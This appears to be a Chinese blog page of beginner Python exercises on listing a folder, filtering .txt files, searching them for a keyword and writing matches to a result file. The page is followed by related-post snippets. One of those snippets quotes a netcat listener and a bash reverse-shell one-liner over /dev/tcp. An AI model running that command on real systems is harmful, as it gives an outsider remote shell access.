Exercise 1
import os
# 设置文件夹路径为'工作文件夹',获取文件夹下的所有文件和文件夹名称
path = './工作文件夹/'
files_list = os.listdir(path) # 设置需要查找的关键词
key_word = input("请输入要查找的关键词:") # 打开结果文件'./result.txt'
result_file = open('./result.txt', 'a', encoding='utf-8') # 循环处理每一个文件
for file_name in files_list:
# 判断文件名中是否包含'.txt'
if '.txt' in file_name:
# 找到文件时先打印提示
print("找到了文件:" + file_name) # 将文件夹路径和文件名拼接成该文件的相对路径
target_file = path + file_name # 打开文件,读取文件内容,然后关闭文件
file = open(target_file, 'r', encoding='utf-8')
content = file.read()
file.close() # 判断关键词是否在文件内容中
if key_word in content:
# 匹配到关键词时先打印提示
print("妙啊,文件**{}**包含了关键词:{}".format(target_file, key_word)) # 将包含关键词的文档的文件路径,写入结果文件。使用换行符'\n'实现逐行写入的效果。
result_file.write(target_file + '\n') # 关闭结果文件
result_file.close()
Exercise 2
# 导入os模块
import os
# 设置目标文件夹路径
path = './工作文件夹/'
# 获取文件夹下的所有文件名
files_list = os.listdir(path)
# 打印看看都有哪些文件
print(files_list)
--->
bash:codes$ python /home/python-class/root/codes/1.py
['Easter_Egg_2.txt', '图片1.jpeg', '06_01_2020会议记录.txt', '图片2.jpeg', '05_20_2020会议记录.txt', '05_21_2020会议记录.txt', '04_11_2020会议记录.txt', 'Easter_Egg_1.txt']

 可以看到,我们得到了一个列表,这个列表里的每一个元素,都是【工作文件夹】内的文件或文件夹名称。而且每一个元素都是字符串类型。

Exercise 3
筛选txt文件
# 导入os模块
import os # 设置文件夹路径,获取文件夹下的所有文件和文件夹名称
path = './工作文件夹/'
files_list = os.listdir(path) '''补充代码,打印出所有 txt 类型的文件名'''
# 循环遍历每一个文件和文件夹名称
for file_name in files_list:
# 判断文件名中是否包含'.txt'
if '.txt' in file_name:
# 找到文件时先打印提示
print("找到了文件:" + file_name) --->
bash:codes$ python /home/python-class/root/codes/2.py
找到了文件:Easter_Egg_2.txt
找到了文件:06_01_2020会议记录.txt
找到了文件:05_20_2020会议记录.txt
找到了文件:05_21_2020会议记录.txt
找到了文件:04_11_2020会议记录.txt
找到了文件:Easter_Egg_1.txt 终端输出了所有txt文件的名称
Exercise 4
实现 “文件筛选” 功能块
# 导入os模块
import os # 设置文件夹路径,获取文件夹下的所有文件和文件夹名称
path = './工作文件夹/'
files_list = os.listdir(path) # 循环遍历每一个文件和文件夹名称
for file_name in files_list:
# 判断文件名中是否包含'.txt'
if '.txt' in file_name:
# 找到文件时先打印提示
print("找到了文件:" + file_name)
# 将文件夹路径和文件名拼接成该文件的相对路径
target_file = path + file_name
# 打印文件的相对路径
print('文件的相对路径为: ' + target_file)
Exercise 5
实现 “读取文件” 功能块
# 目标文件是工作文件夹内的06_01_2020会议记录.txt文本文件
import os
target_file = './工作文件夹/06_01_2020会议记录.txt'
# 使用 open() 函数打开 06_01_2020会议记录.txt 文本文件
file = open(target_file,'r',encoding='utf-8')
# 使用 文件对象.read() 方法读取文件内容
content = file.read() # 打印txt文本文件的内容
print(content)
# 关闭文件对象
file.close()
Exercise 6
本题涉及的知识点:
1.提取文件夹下的所有文件和文件夹名称:os.listdir(path)。
2.使用input()函数获取关键词。
3.打开文件使用的open()函数的三个参数:①file:目标文件的路径;②mode:读模式 r、写模式 w、追加模式;③encoding:编码 utf-8。
4.for循环。
5.if条件判断语句。
6.文件对象的方法:1. 读:read();2.写:write();3.关:close()。 import os
# 设置文件夹路径为'工作文件夹',获取文件夹下的所有文件和文件夹名称
path = './工作文件夹/'
files_list = os.listdir(path) # 设置需要查找的关键词
key_word = input("请输入要查找的关键词:") # 打开结果文件'./result.txt'
result_file = open('./result.txt', 'a', encoding='utf-8') # 循环处理每一个文件
for file_name in files_list:
# 判断文件名中是否包含'.txt'
if '.txt' in file_name:
# 找到文件时先打印提示
print("找到了文件:" + file_name) # 将文件夹路径和文件名拼接成该文件的相对路径
target_file = path + file_name # 打开文件,读取文件内容,然后关闭文件
file = open(target_file, 'r', encoding='utf-8')
content = file.read()
file.close() # 判断关键词是否在文件内容中
if key_word in content:
# 匹配到关键词时先打印提示
print("妙啊,文件**{}**包含了关键词:{}".format(target_file, key_word)) # 将包含关键词的文档的文件路径,写入结果文件。使用换行符'\n'实现逐行写入的效果。
result_file.write(target_file + '\n') # 关闭结果文件
result_file.close()

20201126-1 txt文件筛选与读写【】的更多相关文章

  1. cv.Mat 与 .txt 文件数据的读写操作

    1.按OpenCV格式实现的 .txt 文件读写 可以用 cvSave 和 cvLoad 实现,格式和 .xml/.yml 的差不多,不过如果专用与 OpenCV 的数据读写,还是用  .xml/.y ...

  2. C# 之三类文件的读写( .XML,.INI 和 .TXT 文件)

    笔记之用,关于三类.xml, .ini, .txt 文件的 C# 读写,请多多指教! 1,第一类:.xml 文件的读写 先贴上xml文件,下面对这个文件进行操作: <?xml version=& ...

  3. [转载]C#读写txt文件的两种方法介绍

    C#读写txt文件的两种方法介绍 by 大龙哥 1.添加命名空间 System.IO; System.Text; 2.文件的读取 (1).使用FileStream类进行文件的读取,并将它转换成char ...

  4. Java逐行读写TXT文件

    package help; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.File; imp ...

  5. c# txt文件的读写

    在公司实习,任务不太重,总结一下c#关于txt文件的读写,以便以后有用到的时候可以查看一下.如果有写得不完整的地方还请补充 说明:本人C#水平可能初级都谈不上,高手轻喷,参考:http://www.c ...

  6. python 简单的txt文件读写

    1 读取txt文件.跟c相比,python的文件读写简直是方便的可怕 首先是读取文件 首先获得文件名称,然后通过 open函数打开文件,通过for循环逐行读出文件内容 #!python file by ...

  7. Java读写txt文件

    1.Java读取txt文件 1.1.使用FileInputStream: public static String readFile(File file, String charset){ //设置默 ...

  8. JavaScript读写脚txt文件

    1.cmd切换到“C:\Windows\System32>”下,执行“regsvr32 Scrrun.dll” 2.JavaScript读写txt文本代码如下,注意要发布到服务器上 <!D ...

  9. C#读写txt文件的两种方法介绍

    C#读写txt文件的两种方法介绍 1.添加命名空间 System.IO; System.Text; 2.文件的读取 (1).使用FileStream类进行文件的读取,并将它转换成char数组,然后输出 ...

随机推荐

  1. css子选择器 :frist-child :nth-child(n) :nth-of-type(n) ::select选择器

    记录一下前一段时间使用.学习的几种选择器. 1. :frist-child 选择器n 比如<ul><li></li> <li></li> & ...

  2. CTF-WEB-HCTF 2018 Warmup

    题目链接 攻防世界-Warmup 解题思路 [原题复现]HCTF 2018 Warmup(文件包含)

  3. Windows/Linux 下反弹shell

    Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...

  4. wireshark分析nmap和metasploit内置的syn扫描

    syn扫描 syn扫描,根据三次握手,向端口发送syn包,如果对方回应SYN/ACK,则证明端口开放 首先是nmap 速度很快,0.67秒完成,看下wireshark的抓取 一次发送了大量的syn包 ...

  5. MFC读写文件详解

    1.CFile类提供了对文件进行打开,关闭,读,写,删除,重命名以及获取文件信息等文件操作的基本功能,足以处理任意类型的文件操作. 虽然使用CArchive类内建的序列化功能是保存和加载持久性数据的便 ...

  6. IDM下载器的队列功能有什么用?

    使用IDM下载器中的队列功能,可以帮助大家快速分类下载任务,这样,就可以统一管理有同样下载需求的内容. 一.队列的添加及设置 打开IDM下载器,单击菜单中的"队列",可以看到在左侧 ...

  7. 攻克solo第五课(Mixolydian 音阶)

    相对于独奏来说,我们已经说过了很多关于solo或独奏的乐理和技巧.那么这篇文章,笔者将使用guitar pro7软件来跟大家分享Mixolydian 音阶的演奏技巧,以及如何在学习Mixolydian ...

  8. 如何改变CorelDRAW的外观主题皮肤?

    CorelDRAW,我们通常也简称为CDR,是一款专业而且使用广泛的矢量图形绘制软件,也常用于绘制图形以及平面设计中.今天我们以CorelDRAW 2020来为大家演示一下,如何改变CorelDRAW ...

  9. RabbitMQ PHP扩展安装

    RabbitMQ PHP扩展安装 # 安装rabbitmq-c依赖包 yum install libtool autoconf # 安装rabbitmq-c ( 最好下载 0.5的,0.6安装可能会报 ...

  10. jmeter简单的压力测试

    Jmeter是一个非常好用的压力测试工具.  Jmeter用来做轻量级的压力测试,非常合适,只需要十几分钟,就能把压力测试需要的脚本写好.相比LR来说操作简单方便,关键是免费,基于JAVA开发,所以需 ...